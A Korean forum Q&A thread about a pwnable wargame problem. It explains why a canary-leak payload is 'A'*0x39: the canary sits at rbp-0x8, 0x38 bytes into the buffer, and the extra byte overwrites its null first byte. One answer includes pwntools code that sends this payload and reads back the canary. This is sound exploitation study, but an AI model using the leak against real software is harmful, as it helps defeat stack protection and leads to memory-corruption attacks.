dummy buf의 정확한 값
dummy buf의 정확한 값을 알 수 있는 방법이 있을까요? gdb에서는 buf가 0x40으로 찍히는데, 왜 카나리 leak할때 페이로드를 "A" * 0x39로 보내나요?
#pwnable
작성자 정보
답변
2
wyv3rn
무플 방지 위원회장
gdb로 값이 들어가는 부분에서 카나리까지 거리를 직접 보시는게 제일 빠릅니다 ㅎㅎ
l000wk3y
공부벌레
이 문제에서는 아래 처럼 생각해 볼 수도 있어요.
Dump of assembler code for function main:
0x00000000004006f7 <+0>: push rbp
0x00000000004006f8 <+1>: mov rbp,rsp
0x00000000004006fb <+4>: sub rsp,0x40
스택에 0x40 공간을 확보한 것이 보인다.
이후, canary 등록을 한다.
0x00000000004006ff <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000400708 <+17>: mov QWORD PTR [rbp-0x8],rax
rbp-0x8 위치에 카나리를 셋팅하니,
0x40 - 0x8 하면, 그 위치에서 카나리가 시작한다고 보면 될 것 같다. (=0x38)
따라서 카나리 first null-byte 까지 덮어서 카나리가 노출되도록 한다.
payload = b'A'*0x39 # +1 is null(frist byte) of canary value
p.sendafter("Buf: ", payload)
p.recvuntil(payload)
canary = u64(b"\x00" + p.recvn(7))
print(hex(canary))